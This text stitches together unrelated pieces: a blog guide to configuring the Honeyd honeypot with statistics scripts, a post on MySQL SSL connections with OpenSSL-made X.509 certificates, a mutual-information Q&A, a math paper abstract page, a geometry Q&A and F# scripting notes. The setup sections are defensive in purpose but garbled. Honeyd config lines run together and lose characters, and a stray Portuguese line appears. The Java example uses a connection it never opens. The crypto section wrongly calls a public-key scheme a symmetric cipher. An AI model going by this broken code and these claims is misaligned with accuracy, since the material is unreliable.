for network simulation. The quote is from Niels Provos, the creator of Honeyd. ## Installing Honeyd If you are in debian (like me), the only thing you have to do (and I think you are accustomed to it :P) is: hydra:~# apt-get install honeyd honeyd-common The package honeyd-common came with a lot of scripts to emulate the services that we will run in our Honeypot. If you are running another one download the version I will use, and install it. ## Preparing the field for Honeyd All the system configurations we found was with the intention of running Honeyd in a local network. And we have a router between us and the Internet. The router do NAT to the internal network, so we only have one IP. So we decide to only implement one honeypot to start testing. In the router we determined that the computer that has the Honeyd installed (192.168.1.72) can be accessed from outside by ssh throw the port 2222, and HTTP by 8080 (to see the statistics). We also add that our honeypot (192.168.1.50) would be visible from the Internet with a quantity of open ports. This ports we show further on. In fact we still have a problem, the router don’t know our honeypot (192.168.1.50). To solve this we run in Honeyd computer: hydra:~# farpd 192.168.1.50 -i eth0 farpd is a program made by Niels Povos. With that program the computer with Honeyd (192.168.1.72) will send is MAC address when a ARP request is made to the network. This ARP request happens because the router don’t know who is 192.168.1.50. After 192.168.1.72 sending his MAC address the router will send the package to Honeyd computer (192.168.1.72), and Honeyd program will take care of them, sending it to the virtual host. Now we have to configure how Honeyd will run, the file can be found in /etc/defaults/honeyd Agora temos que configurar como o hd~vai correr, para isso utilizamos o seguinte textit{script}: # File: /etc/defaults/honeyd # Defaults for honeyd initscript # run as a daemon RUN="yes" # Network interface where honeyd will listen INTERFACE="eth0" # Network under control od honeyd (in my case: just one host) NETWORK=192.168.1.50 # Options # -c hostname:port:username:password OPTIONS="-c localhost:12345:username:password" The -c flag will collect to us some statistics, that we will put in a pie chart further. This flag receives the hostname, the port, username and password to can access to the statistics. You may want to configure also the /etc/init.d/honeyd file, here are the first lines of the file: . . . PATH=/bin:/usr/bin:/sbin:/usr/sbin # Daemon locations DAEMON=/usr/bin/honeyd # Daemon names NAME=honeyd # Pidfiles PIDFILE=/var/run/honeyd.pid # Labels LABEL="Honeyd daemon" DEFAULT=/etc/default/honeyd LOGDIR="/var/log/honeypot" DAEMONLOG="$LOGDIR/daemon.log"
. . .

Note that log files from Honeyd will be written in LOGDIR directory.

## honeydstats

With all the statistics being collected by honeyd (with the flag -c activated) the only thing we need is a program to read them, and show them in a human way.
To do that job honeyd came with program honeydstats. To run that command, and start collecting statistics from you honeyd do:

hydra:~# honeydstats --os_report /etc/honeypot/os.honeydstats
--port_report /etc/honeypot/port.honeydstats
--spammer_report /etc/honeypot/spam.honeydstats
--country_report /etc/honeypot/country.honeydstats
-f /etc/honeypot/honeydstats.conf -l localhost -p 12345

I have choose to write all files in the /etc/honeypot/ directory for convenience. The command above start collecting statistics in port 12345 and host localhost, the –*_report flags indicate the statistics honeydstats collect. The file /etc/honeypot/honeydstats.conf contains the username and the password in the form:

# File: /etc/honeypot/honeydstats.conf
username:password

## honeypot Configuration

This is the configuration file for my honeypot (192.168.1.50). I use a default one, with a little changes, you can find a lot of this files in the Internet.

create win2k
set win2k personality "Microsoft Windows 2000 SP2"
set win2k default tcp action reset
set win2k default udp action reset
set win2k default icmp action block
set win2k uptime 3567
set win2k droprate in 13
add win2k tcp port 23 "sh /usr/share/honeyd/scripts/unix/linux/suse8.0/telnetd.sh $ipsrc$sport $ipdst$dport"
add win2k tcp port 21 "sh /usr/share/honeyd/scripts/win32/win2k/msftp.sh $ipsrc$sport $ipdst$dport"
add win2k tcp port 25 "sh /usr/share/honeyd/scripts/win32/win2k/exchange-smtp.sh $ipsrc$sport $ipdst$dport"
add win2k tcp port 80 "sh /usr/share/honeyd/scripts/win32/win2k/iis.sh $ipsrc$sport $ipdst$dport"
add win2k tcp port 110 "sh /usr/share/honeyd/scripts/win32/win2k/exchange-pop3.sh $ipsrc$sport $ipdst$dport"
add win2k tcp port 143 "sh /usr/share/honeyd/scripts/win32/win2k/exchange-imap.sh $ipsrc$sport $ipdst$dport"
add win2k tcp port 389 "sh /usr/share/honeyd/scripts/win32/win2k/ldap.sh $ipsrc$sport $ipdst$dport"
add win2k tcp port 5901 "sh /usr/share/honeyd/scripts/win32/win2k/vnc.sh $ipsrc$sport $ipdst$dport"
add win2k udp port 161 "perl /usr/share/honeyd/scripts/unix/general/snmp/fake-snmp.pl public private --config=/usr/share/honeyd/scripts/unix/general/snmp"

# This will redirect incomming windows-filesharing back to the source

add win2k udp port 137 proxy $ipsrc:137 add win2k udp port 138 proxy$ipsrc:138
add win2k udp port 445 proxy $ipsrc:445 add win2k tcp port 137 proxy$ipsrc:137
add win2k tcp port 138 proxy $ipsrc:138 add win2k tcp port 139 proxy$ipsrc:139
add win2k tcp port 445 proxy $ipsrc:445 bind 192.168.1.50 win2k Here I create a win2k operative system (Microsoft Windows 2000 with SP2) with a lot of open ports {23,21,25,80,110,143,389,5901,137,138,139}TCP and {161,137,138,445}UDP. These port’s must be open in your router, and pointing to the honeypot – 192.168.1.50. And now we are ready to run honeyd: hydra:~# /etc/init.d/honeyd start ## Generating graphical statistics Here is the problem of Honeyd, don’t have a graphical interface or a webpage to visualize all the information that are being saved to the .log, just honeydstats… Well, I’ve found these perl script and these perl system file. you:/etc/honeypot$ wget http://www.alunos.di.uminho.pt/~a43175/code/perl/customPie.pm -O /etc/honeypot/customPie.pm
you:/etc/honeypot$wget http://www.alunos.di.uminho.pt/~a43175/code/perl/buildPie.pl -O /etc/honeypot/buildPie.pl  The file buildPie.pl receives files in the form: #13# Linux 2.6 .1-7# #1# Solaris 10 beta# #1# Windows 2000 # #1# Windows 98 # #15# Windows XP SP1# #27# unknown#  and we have files in the form:  Linux 2.6 .1-7: 0 1 13 Solaris 10 beta: 0 0 1 Windows 2000 : 0 0 1 Windows 98 : 0 0 1 Windows XP SP1: 0 0 15 unknown: 0 2 26  Now I’m gonna to use the these files generated by honeydstats {os,port,spam,country} to put the files in #n#id# form. Here we need to use the program txt2html, so, better you install it. Now we just have to get out the rust of sed command and we are ready! # File: /etc/honeypot/generate-stats.sh #!/bin/sh # # Country cat /etc/honeypot/country | sort -rn | head | awk '{print$4" "$1}' | sed 's/^/#/g' | sed 's/$/#/g' | sed 's/ /#/g' | sed 's/://g'  | perl /etc/honeypot/buildPie.pl /var/www/img/country
cat /etc/honeypot/country | txt2html > /var/www/img/country.html

# Operative System
cat /etc/honeypot/os | sed 's/(.*):([^0-9]*)([^ ]*)([^0-9]*)([^ ]*)([^0-9]*)([^ ]*).*/#7#1#/g' | perl /etc/honeypot/buildPie.pl /var/www/img/os
cat /etc/honeypot/os | txt2html > /var/www/img/os.html

# Spam
cat /etc/honeypot/spam | sort -rn | head | awk '{print $4" "$1}'  | sed 's/^/#/g' | sed 's/$/#/g' | sed 's/ /#/g' | sed 's/://g' | perl /etc/honeypot/buildPie.pl /var/www/img/spam cat /etc/honeypot/spam | txt2html > /var/www/img/spam.html # Ports cat /etc/honeypot/port | sort -rn | head | awk '{print$4" "$1}' | sed 's/^/#/g' | sed 's/$/#/g' | sed 's/ /#/g' | sed 's/://g' | perl /etc/honeypot/buildPie.pl /var/www/img/port
cat /etc/honeypot/port | txt2html /var/www/img/port.html

Now get the index.html to put in the /var/www/img directory:

you:/etc/honeypot$mkdir /var/www/img/ you:/etc/honeypot$ wget http://www.alunos.di.uminho.pt/~a43175/code/html/index.html.txt -O /var/www/img/index.html

you:/etc/honeypot# vi /etc/crontab

And add these line to the end of file:

6  *    * * *   root    /etc/honeypot/generate-stats.sh

And we are done! For now on, you should have these nice graphics in your index.html file:

## Future work

Well, the honeypot still running, and more and more statistics are being collected, in fact we already have make a very good discovers, but in a future post I will talk about that.

We are also thinking in use another kind of honeypot, a low interaction client honeypot, maybe HoneyC to identify malicious servers on the web, and maybe experiment by our selfs what we have read about client honeypots.

## Secure connections to MySQL

18 11 2008

Together with Pedro Pereira we decided to investigate how MySQL make secure connections with clients. This is the first milestone of our msc in Cryptography.
It was proposed that we investigate the internal authentication process that MySQL do using X.509 certificates format.

This post gives a short introduction to tools and methods we use, Public-key cryptography, Certificates, OpenSSL, MySQL and VirtualBox.

We use the VirtualBox to install mysql, to avoid installing it in our OS. So, all the commands showed here have to maked in this virtual machine.

## Configuring VirtualBox

As we said before, we installed MySQL in a virtual machine, so we decided access the virtual machine by ssh and remote connections to
MySQL.

### NAT vs Port forward

By default the network connection in VirtualBox is made by Network Address Translation (NAT), i.e. each package that is sent by the guest machine is modified so that it appears to come from the host machine. Thus it is very easy to guest machine to connect with the entire network (including Internet), but never could start a connection from host machine to guest machine, since the interface of the guest
is hidden by the host machine.

To resolve this issue, and can access from host machine to the guest by ssh and the MySQL we decided to use the Port forward system that VirtualBox offers.
We have the guest machine running a ssh service accepting connections on port 22. Our goal is to make each package reaches a certain TCP port (eg 2222) on the host machine to to be redirected to TCP port 22 in guest machine.

The command that allows us to do this in VirtualBox is: VBoxManage. We make this with following commands, in which would be the name we gave to our guest machine:

shell> VBoxManage setextradata
"VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/HostPort" 2222
"VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/GuestPort" 22
"VBoxInternal/Devices/pcnet/0/LUN#0/Config/ssh/Protocol" TCP

From now every time we want to connect by ssh to the guest machine only run the following command in a shell:

shell> ssh -l  -p 2222 localhost

Similarly the same happens with MySQL connections. We want all packages targeted to port 3333 on host machine is redirected to the port 3306 of guest machine . So being able to access the MySQL that is installed on the guest machine:

shell> VBoxManage setextradata
"VBoxInternal/Devices/pcnet/0/LUN#0/Config/mysql/HostPort" 3333
"VBoxInternal/Devices/pcnet/0/LUN#0/Config/mysql/GuestPort" 3306
"VBoxInternal/Devices/pcnet/0/LUN#0/Config/mysql/Protocol" TCP

## Public-key cryptography

The cryptography asymmetric system can be explained with the following analogy: a mailbox,
is accessible to the public through its address (public key), then anyone can send a
message for this box. Just who has the key to the box is the only who can read the messages (private key).

We only guarantee that any person can send encrypted messages to the owner of the mailbox. However we could not guarantee the identity of who recieve the message (the private key may have been compromised). We also can not guarantee the identity of the person who sent (Later we will see that the use of certificates resolve this problem).

For Bob send a message to Alice, he uses her public key to encrypt the message. This cryptogram is sent to Alice that decrypt with her private key.
Later, the Alice responds to Bob, encrypting the message with his public key.

In a different kind of use of public key can have a scenario in which Alice communicate with Bob, encrypts the message with her private key (digital signature) and encrypt it again with Bob’s public key. Thus, on the other side of the channel, Bob uses his private key and
subsequent Alice’s public key, thus obtaining the original clear text.

The cryptogram generated is an example of a symmetric cipher and is more robust than the previous scenario where only one key is used each time. Imagine now a case in which a third malicious actor, publish your public key and claim to be Alice. Thus it is likely someone who cheat and can read some of the messages intended for Alice. Although we have secure connections/strongly encrypted messages, there is still no guarantee the identity of any of the actors in the process of communication. In this context, we use X.509 certificates

## Certificates

An X.509 certificate of public key is an electronic document that can be compared to Identity card. However, instead of attaching a photo to the name of the person, it combines the key to their own (identity). But the certificate may not be issued by the concerned stakeholders because any one could falsify one certificate and claiming a false identity.

There we need that there is an entity (Certification Authority) trusted by both sides to ensure the identities of both. The CA ‘s sign (encrypt) the certificates with theirs private keys allowing validity to who decrypt the signature with their public key CA’s.

But if go to the top of hierarchy in the chain of certificates we will face a problem: who signs the CA certificate? The bottom line is we have always to belive in a entity, now users no longer communicate among themselves but the CA’s do that. The CA ‘s can sign their certificates, an example of a self-signed certificate that normally is a root Certificate.

## Installing MySQL

The process we used here, was tested in a machine with Ubuntu 7.10 and 8.04:

shell> apt -get install mysql-server-5.0 mysql-client-5.0

The OpenSSL came compiled by default in the .deb package, but if we have to compile it we only would have to specify the following in the process of setting up the Makefile:

shell> ./ configure --with - openssl

Now, that we have instaled MySQL, we can go into it typing:

shell> mysql -h SERVER -u root -p

This way we got an uncrypted connection to the server, to obtain an encrypted you must add the option –ssl. This option when introduced on the server side means that the server will allow secure connections, in client-side allows to connect to the server via a secure connection. But this option alone is not enough, it is also necessary to introduce –ssl-ca and possibly the –ssl-cert and –ssl-key.
We have to enter with this flags if we not set the appropriate paths of certificates and their keys in the file /etc/mysql/my.conf.

But we’ll see below in more detail how to use these options, now just want to add a user “user” with the password “passwd” in the database “dBASE” located in “servidordeteste.com” demanding an SSL connection:

mysql > GRANT ALL PRIVILEGES ON dbase .* TO ’user’@’servidordeteste.com’
IDENTIFIED BY ’passwd ’
REQUIRE SUBJECT ’/CN=user ’
AND ISSUER ’/CN=CA ’
AND CIPHER ’EDH-RSA-DES-CBC3-SHA ’;

The CIPHER part means the ciphers used for encryption and you should pick up the ciphers stronger because MySQL can use weaker ciphers.

Now, we get out of the MySQL administration program to demonstrate how to generate keys and certificates.

## Generate certificates

We will demonstrate how to create a fictitious CA, generate certificates of potential clients/servers and pointed through the private key of CA, just like real in the process. First we create a tree of folders to contain the structuring of certificates:

shell> mkdir -m 755
~/teste/CA
~/teste/CA/private
~/teste/CA/certs
~/teste/CA/newcerts
~/teste/CA/crl

The CA folder represents the folder of our certification authority, the private folder will hold private keys; certs folder will have the clients/servers certificates, the newcerts is a required folder for the OpenSSL to store decrypted certificates, whose names will be their serial numbers; finally crl folder will keep the list of revoked certificates.
Now copy the default OpenSSL configuration file to our CA folder:

shell> cp /etc/ssl/openssl .cnf ~/teste/CA/myopenssl .cnf

and we change permission, allowing only the user can read and write:

shell> chmod 600 ~/teste/CA/myopenssl .cnf

We need to create two files, one will be the OpenSSl database:

shell> touch ~/teste/CA/index.txt

and the other, containing the serial numbers of each certificate. We don’t have anyone, so we put “01” in that file:

shell> echo '01' > ~/teste/CA/serial

Now run all commands in the folder ~/test/CA because is there we have the OpenSSL configuration file. The next step is to generate the self-signed CA certificate: generate the CA private key of 2048 bits (Today, less than 2048 bits is no longer considered completely safe).

shell> openssl genrsa -out private/ca-privkey.key 2048

if we want to check the contents of the key:

shell> openssl rsa -text -in private/ca-privkey.key

and if just generate a public key from private key:

shell> openssl rsa -pubout -in private/ca-privkey.key -out ca-publkey.key

Now we generate the certificate (valid for 365 days) and their public key and through private key we signed it:

shell> openssl req -config myopenssl.cnf -new -x509 -extensions v3_ca
-key private/ca-privkey.key -out certs/ca-cert.crt -days 365

Note that the “Common Name” (CN) is the identifier that distinguishes the entity/person therefore has to be well written. In this case
CN = CA.

Now, if we want to verify the content of the certificate:

shell> openssl x509 -in certs/ca-cert.crt -noout -text

The private key must be stored under very strong permissions, only the root should be able to read it:

shell> chmod 400 private/ca-privkey.key

Then we change the OpenSSL configuration file (myopenssl.cnf) so that we have this information:

[ CA_default ]
dir              = .
certs            = $dir/certs crl_dir =$dir/crl
database         = $dir/index.txt # unique_subject = no new_certs_dir =$dir/newcerts
certificate      = $dir/certs/myca.crt serial =$dir/serial
# crlnumber      = $dir/crlnumber crl =$dir/crl.pem
private_key      = $dir/private/myca.key RANDFILE =$dir/private/.rand
x509_extensions  = usr_cert

Now we can produce the client/server certificate:
we generate the private key and certificate request with the public key:

shell> openssl req -config myopenssl.cnf -new -newkey rsa:2048
-nodes -keyout private/privkey.key -out cert-req.csr

Then we change the permissions of the new key as before. Note that the “Common Name” (CN) is the identifier that distinguishes a person/entity therefore has to be well written.
In this case CN = user.

we can verify the content of the request:

shell> openssl req -in cert-req.csr -noout -text

And with this command we sign the certificate:

shell> openssl ca -config myopenssl.cnf -cert certs/ca-cert.csr
-keyfile private/ca-privkey.key -out certs/cert.crt
-infiles cert-req.csr

This last command creates two additional files on certs folder. The cert.crt (signed certificate) and newcerts/01.pem (decrypted certificate). Naturally we would have to repeat the process for similar entity (client/server).
Right now we’re ready to connect with MySQL.

## Connecting to MySQL

The cryptographic methods discussed in the first part of this port are situated in a context of communication. However there are many situations where we need to ensure a secure connection. One of those situations: you may want to connect to a remote database.

When accessing to a remote database anyone with access to the same network can inspect all traffic or worse, change it while passing between the client and server. We can however, use the option –compress on the client side to compress the traffic but still unencrypted and unsafe.
But as we said earlier, MySQL supports encrypted connections through the use of libraries of OpenSSL. Here we can see the MySQL Makefile’s SSL section:

Ln 318: openssl_includes = @openssl_includes@
Ln 319: openssl_libs = @openssl_libs@

So any kind of encryption/maintenance of certificates in MySQL is controlled by the functions that are part of the OpenSSL API.

## Configuring SSL in MySQL

To ensure the authenticity can be assured we add the following lines to /etc/mysql/my.conf:

[ client ]
ssl -ca=/home/user/teste/certs/ca-cert.crt
ssl -cert =/home/user/teste/certs/cert.crt       #(client)
ssl -key =/home/user/teste/private/privkey.key   #(client)
[ mysqld ]
ssl -ca=/home/user/teste/certs/ca-cert.crt
ssl -cert =/home/user/teste/certs/cert.crt       #(server)
ssl -key =/home/user/teste/private/privkey.key   #(server)

Consider the initial situation in the role of client, we can access to the server, but now in a secure way. Then:

shell> mysql -h SERVER -u USER -p --ssl

If everything went well we now can connect via a secure connection and authenticated using X.509 certificates.

mysql > show variables like '%ssl%';
+---------------+----------------------------------------+
| Variable_name | Value                                  |
+---------------+----------------------------------------+
| have_openssl  | YES                                    |
| have_ssl      | YES                                    |
| ssl_ca        | /home/user/test/certs/ca-cert.crt      |
| ssl_capath    |                                        |
| ssl_cert      | /home/user/test/certs/server-cert.crt  |
| ssl_cipher    |                                        |
| ssl_key       | /home/user/test/private/server-key.key |
+---------------+----------------------------------------+
7 rows in set (0.11 sec)

As a final note, of this part, we mention that the whole process of this part refers to only one user, to another we must repeat everything, of course.

## SSL Program

As extra, we decide to implement a simple program that use SSL connections in JAVA.

We found that the MySQL Connector/J supports some properties that are useful to establish SSL connections.

The property useSSL tells the server that we use a secure connection.
In this case the user ssluser was created with the command GRANT … REQUIRE SSL, ensuring that
can only connect by SSL.

import com.mysql.jdbc.*;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;

public class Main {

public static void main(String[] args) {
Connection conn = null;

try {

Class.forName("com.mysql.jdbc.Driver").newInstance();

String url = "jdbc:mysql://localhost:3333/mysql" //port 3306 of guest machine
+ "?useSSL=true";

Statement stmt = (Statement) conn.createStatement();

ResultSet rs = stmt.executeQuery("select User,Host,ssl_type from mysql.user;");

while (rs.next()) {
System.out.print(rs.getString(1) + " ");
System.out.print(rs.getString(2) + " ");
System.out.println(rs.getString(3) + " ");
}

} catch (SQLException e) {
e.printStackTrace();
System.out.println("SQLException: " + e.getMessage());
System.out.println("SQLState: " +  e.getSQLState());
System.out.println("VendorError: " + e.getErrorCode());
} catch (Exception ex) {
ex.printStackTrace();
} finally {
if (conn != null) {
try {
conn.close();
System.out.println("Database connection terminated");
} catch (Exception e) {  }
}
}
}
}

This simple program run well, it print the above table to stdout.

We wanted to implement the same application using certificates, but not, we have errors for which no solution yet found. The documentation, unfortunately not worked for us.

Anyway, as a great experience find everything we describe in this post. We learned a lot about cryptography …


text:
# Computing mutual information

I have a problem when computing the mutual information between two variables. Let's consider the following table:

             k=1       k=2       k=3
c = 1         10        20         5
c = 2          5         3        20

I want to calculate the mutual information between the class ($c$) and the cluster ($k$).

E.g., for $\text{MI}(c=1, k=1)$, I will calculate the $P(c,k)$ as follows:

             k=1            k~=1
c=1        10/63           25/63
c~=1        5/63           23/63

and I can calculate the MI based on the following:

$\text{MI}(c,k) = \sum_{c\in\{0,1\}} \sum_{k\in\{0,1\}} p(c,k)log_2 \frac{p(c,k)}{p(c)p(k)}$

In this case: I am getting the same MI for $(c=1, k=1)$ and $(c=2, k=1)$. What is the reason for this? How can I calculate the MI for each $(c,k)$ based on the first table?

MI is between two random variables. In this case, $c$ and $k$ are random variables.

If you take $c=1$, it isn't really random anymore, and MI should be zero. Likewise for $k=1$.

(Also, one more thing to keep in mind is that your 'plug-in' estimation of MI is biased.)

EDIT: MI between $I(c=1)$ vs $I(k=1)$ where $I$ is the indicator function, is a different matter. Your double usage of the same variable confused me.

Now your $c$ only take 2 values, therefore, $I(c=1) = 1 - I(c=2)$. MI is invariant invertible transformation of variables, that's why $MI(I(c=1),I(k=1)) = MI(I(c=2),I(k=1))$.

• thanks for your reply. But how can I find the dependency between (c=1, k=1) and (c=2, k=1) ? – user570593 Oct 12 '13 at 14:12
• what do you mean by (c=1,k=1)? is that a random quantity? – Memming Oct 12 '13 at 14:15
• For example I want to find the dependency between the cluster 1 (k=1) and a class (c=1). – user570593 Oct 12 '13 at 14:21
• what is random in $k=1$? It's always $k=1$. You can't quantify a statistical dependence if there's no randomness. – Memming Oct 12 '13 at 14:40
• K and c are random variables here. I want to calculate the dependecy between a particular k and particular c. how to do it with MI? – user570593 Oct 12 '13 at 14:41


text:
Pełnotekstowe zasoby PLDML oraz innych baz dziedzinowych są już dostępne w nowej Bibliotece Nauki.
Zapraszamy na https://bibliotekanauki.pl

PL EN

Preferencje
Język
Widoczny [Schowaj] Abstrakt
Liczba wyników
• # Artykuł - szczegóły

## Acta Arithmetica

2013 | 157 | 3 | 249-296

## On the Brun-Titchmarsh theorem

EN

### Abstrakty

EN
The Brun-Titchmarsh theorem shows that the number of primes which are less than x and congruent to a modulo q is less than (C+o(1))x/(ϕ(q)logx) for some value C depending on logx/logq. Different authors have provided different estimates for C in different ranges for logx/logq, all of which give C>2 when logx/logq is bounded. We show that one can take C=2 provided that logx/logq ≥ 8 and q is sufficiently large. Moreover, we also produce a lower bound of size $x/(q^{1/2}ϕ(q))$ when logx/logq ≥ 8 and is bounded. Both of these bounds are essentially best-possible without any improvement on the Siegel zero problem.

249-296

wydano
2013

### Twórcy

autor
• Mathematical Institute, 24-29 St Giles', Oxford, OX1 3LB, England


text:
# In triangle XYZ, the bisector of angle XYZ intersects overline XZ at E if XY/YZ=3/4 an XZ=42, find the greatest integer value of XY. Thus far, I have determined that XE=18 and ZE=24 by the angle bisector theorem, but I am unsure how to find XY.

Chaim Ferguson 2022-10-16 Answered
In triangle XYZ, the bisector of $\mathrm{\angle }XYZ$ intersects $\overline{XZ}$ at E if $\frac{XY}{YZ}=\frac{3}{4}$ an $XZ=42$, find the greatest integer value of XY.
Thus far, I have determined that $XE=18$ and $ZE=24$ by the angle bisector theorem, but I am unsure how to find XY.
You can still ask an expert for help

• Live experts 24/7
• Questions are typically answered in as fast as 30 minutes
• Personalized clear answers

Solve your problem for the price of one coffee

• Math expert for every subject
• Pay only if we can solve it

periasemdy

The bisector theorem gives $\frac{XE}{EZ}=\frac{XY}{YZ}=\frac{3}{4}$, hence $XZ=42$ implies $XE=18$ and $EZ=24$.
By the triangle inequality, $XY+YZ$ has to be greater than $XZ=42$, hence $XY=\frac{3}{7}\left(XY+YZ\right)$ has to be greater than 18. On the other hand, $YZ-YX$ has to be smaller than $XZ=42$, hence the length of $XY$ is at most $3\cdot 42=126$


text:
# Scripting with FSharp

## 13 October 2020

Before you can use the following, you will need the .NET Core SDK installed

# Open the F# Interactive Console

To open an F# interactive console using the dotnet CLI. You can run the following command:

dotnet fsi

Note that to end statements/execute in the F# Interactive console use ;; at the end of a line or section of code

Once in the console, running #help;; from the fsi console to view the help menu, and #quit;; to quit the interactive session

Additionally, you can write multi-line F# code as well as just single line expressions. Each expression should be terminated with ;;. For example, you can write a function that will print some data into the console:

let printer s =
printfn s
;;

Next, you can call the function with:

printer "Hello World";;

Which will execute the above code and output Hello World

# Run an F# Script

F# scripts can be run using the dotnet fsi command as well, followed by the path to an F# script file:

dotnet fsi ./myscript.fsx